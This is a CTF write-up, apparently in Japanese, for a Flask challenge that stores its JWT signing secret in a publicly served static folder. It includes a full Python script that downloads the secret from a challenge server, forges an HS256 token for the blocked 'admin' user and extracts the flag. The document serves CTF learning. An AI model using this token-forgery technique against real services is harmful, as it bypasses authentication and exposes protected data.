Challenge

データベースなんて必要ない!

if not os.path.exists("static/jwt_secret.txt"):
    JWT_SECRET = random.randbytes(32).hex()
    with open("static/jwt_secret.txt", "w") as f:
        f.write(JWT_SECRET)
else:
    with open("static/jwt_secret.txt") as f:
        JWT_SECRET = f.read()

JWT_EXP = 60 * 60
FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")

def issue_token(username: str) -> str:
    payload = {
        "sub": username,
        "iat": int(time.time()),
        "exp": int(time.time()) + JWT_EXP,
    }
    return jwt.encode(payload, JWT_SECRET, algorithm="HS256")

def verify_token(token: str):
    return jwt.decode(token, JWT_SECRET, algorithms=["HS256"])

@app.get("/")
def index():
    return render_template("login.html")

@app.post("/login")
def login():
    username = request.form.get("username", "")

    if not username:
        return render_template("login.html", error="username required")

    if username.lower() == "admin":
        return render_template("login.html", error="admin is forbidden")

    token = issue_token(username)

    resp = make_response(redirect(url_for("dashboard")))
    resp.set_cookie(
        "token",
        token,
        httponly=True,
    )
    return resp

@app.get("/dashboard")
def dashboard():
    token = request.cookies.get("token")
    if not token:
        return redirect(url_for("index"))

    try:
        payload = verify_token(token)
    except:
        return redirect(url_for("index"))

    return render_template(
        "dashboard.html",
        username=payload["sub"],
        flag=FLAG if payload["sub"] == "admin" else "No flag for you!"
    )

Solution

  1. secretがstatic配下にあるため確認可能です。
if not os.path.exists("static/jwt_secret.txt"):
    JWT_SECRET = random.randbytes(32).hex()
    with open("static/jwt_secret.txt", "w") as f:
        f.write(JWT_SECRET)
else:
    with open("static/jwt_secret.txt") as f:
        JWT_SECRET = f.read()

image.png

  1. usernameがadminのときはログインできません。
@app.post("/login")
def login():
    username = request.form.get("username", "")

    if not username:
        return render_template("login.html", error="username required")

    if username.lower() == "admin":
        return render_template("login.html", error="admin is forbidden")

    token = issue_token(username)

    resp = make_response(redirect(url_for("dashboard")))
    resp.set_cookie(
        "token",
        token,
        httponly=True,
    )
    return resp
  1. ログイン後、cookie内のtokenがadminであればフラグが表示される。
 @app.get("/dashboard")
def dashboard():
    token = request.cookies.get("token")
    if not token:
        return redirect(url_for("index"))

    try:
        payload = verify_token(token)
    except:
        return redirect(url_for("index"))

    return render_template(
        "dashboard.html",
        username=payload["sub"],
        flag=FLAG if payload["sub"] == "admin" else "No flag for you!"
    )

secretは取得できているので手元でadminのJWTを計算し、cookieにセットしてdashboardにアクセスすればよい。

Final Script

import requests
import base64
import hmac
import hashlib
import json
import time
import re

def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')

def create_jwt(username: str, secret: str) -> str:
    # Header
    header = json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':'))
    header_b64 = b64url_encode(header.encode())

    # Payload
    now = int(time.time())
    payload = json.dumps({
        "sub": username,
        "iat": now,
        "exp": now + 3600
    }, separators=(',', ':'))
    payload_b64 = b64url_encode(payload.encode())

    # Signing
    msg = f"{header_b64}.{payload_b64}".encode()
    key = secret.encode()
    signature = hmac.new(key, msg, hashlib.sha256).digest()
    sig_b64 = b64url_encode(signature)

    return f"{header_b64}.{payload_b64}.{sig_b64}"

base_url = "<http://34.170.146.252:28215>"

# 1. Retrieve the secret from the static file
secret_url = f"{base_url}/static/jwt_secret.txt"
resp = requests.get(secret_url, timeout=5)
if resp.status_code != 200:
    print(f"Failed to get secret: HTTP {resp.status_code}")
    exit(1)
secret = resp.text.strip()

# 2. Create a JWT token for the 'admin' user
token = create_jwt("admin", secret)

# 3. Use the token to access the dashboard
cookies = {"token": token}
resp = requests.get(f"{base_url}/dashboard", cookies=cookies, timeout=5)
response_text = resp.text

# Extract flag
flag_match = re.search(r"Alpaca\\{.*?\\}", response_text)
if flag_match:
    flag = flag_match.group(0)
    print(flag)
else:
    print("Flag not found. Response snippet:")
    print(response_text[:1000])
    exit(1)